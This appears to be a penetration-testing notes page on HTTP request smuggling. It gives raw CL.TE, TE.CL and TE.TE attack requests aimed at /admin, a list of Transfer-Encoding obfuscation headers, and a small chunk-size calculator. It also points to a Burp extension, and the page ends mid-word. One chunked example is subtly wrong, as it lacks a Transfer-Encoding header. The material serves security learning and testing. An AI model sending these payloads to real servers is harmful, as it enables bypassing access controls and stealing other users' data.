HTTP Request Smuggling
HTTP request smuggling is a type of web vulnerability that occurs when an attacker is able to send multiple HTTP requests to a server in a way that causes the server to process them in an unintended manner. This can lead to a number of security problems, including:
- 1.Denial of Service (DoS) attacks: An attacker could use HTTP request smuggling to send a large number of requests to a server, overwhelming it and causing it to become unavailable to legitimate users.
- 2.Data leakage: An attacker could use HTTP request smuggling to manipulate the way that a server processes requests, potentially allowing them to access sensitive information that would otherwise be protected.
- 3.Cross-Site Scripting (XSS) attacks: An attacker could use HTTP request smuggling to inject malicious code into a server's response, potentially allowing them to execute code on the client's machine.
Most of today's web applications are composed of a front-end server (which might be a load balancer or reverse proxy) that forwards the request to a back-end server (which actually performs the request).
The requests to the back-end server are typically sent over the same connection due to its better performance. This means that every HTTP request is sent one after another, so the front-end and back-end must agree on the boundaries between requests.
There are two different ways to specify where a request ends: the
Content-Length
header and the Transfer-Encoding
header.The
Content-Length
header specifies the number of bytes that compose the message body:POST /admin HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 23
user=test&password=1234
The
Transfer-Encoding
header species that the message body is going to be sent in a series of chunks rather than a single message. Each chunk is composed of the chunk size in bytes (expressed in hexadecimal), a new line, the content of the chunk, and a new line terminating in zero.POST /admin HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 23
17
user=test&password=1234
0
The following attacks are only valid for HTTP/1.1, if your target website used HTTP/2, then read about how to exploit it in this link.
The front-end (FE) uses the
Content-Length
header, and the back-end server uses the Transfer-Encoding
header.POST / HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 32
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Foo: x
The front-end server uses the
Transfer-Encoding
header, and the back-end server uses the Content-Length
header.POST / HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 4
60
POST /admin HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
Because counting the characters on a chunk and then passing the number to hex is a pity, you can use the following chunk calculator by Takito.
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Chunk Calculator</title>
<style>body {font-family: sans-serif;}</style>
</head>
<body>
<h1>Chunk Calculator</h1>
<h2>By: <a href='https://twitter.com/takito1812'>Takito</a></h2>
<textarea rows="10" cols="50" name="chunk" onkeyup="calc()" autofocus>
</textarea>
<p>The chunk size is <strong id="size"></strong></p>
<pre id="explanation"></pre>
<script>
function calc() {
var chunk = document.getElementsByName("chunk")[0].value;
var lines = chunk.split("\n");
var linesLength = lines.length;
var chars = 0;
var explanation = document.getElementById("explanation");
explanation.innerHTML = "";
for (var i = 0; i < linesLength; i++) {
var line = lines[i];
var lineLength = line.length;
chars += lineLength;
if (i < linesLength - 1) {
chars += 2;
explanation.innerHTML += line + " -> " + lineLength + " + 2 (\\r\\n) = " + (lineLength + 2) + " chars<br>";
} else {
explanation.innerHTML += line + " -> " + lineLength + " chars<br>";
}
}
document.getElementById("size").innerHTML = chars.toString(16) + " hex (" + chars + " chars)";
}
</script>
</body>
</html>
The front-end and back-end servers both support the
Transfer-Encoding
header. To avoid one of the servers processing the header, it is required to obfuscate the header in some way.Here there is a list of obfuscation examples:
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:<tab>chunked
Transfer-Encoding: chunked
X: X%0aTransfer-Encoding: chunked
Transfer-Encoding
: chunked
This example comes from the issue "Multiple Transfer-Encoding headers misinterprets request payload" from hyper.
POST / HTTP/1.1
Host: example
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: cow
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
Because it is quite hard to test every type of HTTP smuggling on every website you need to audit, you can use the Burp Suite Extension HTTP Request Smuggler. Right-click on the request, then
Extensions/HTTP Request Smuggler
, and select the type of scan you want to laLast modified 10mo ago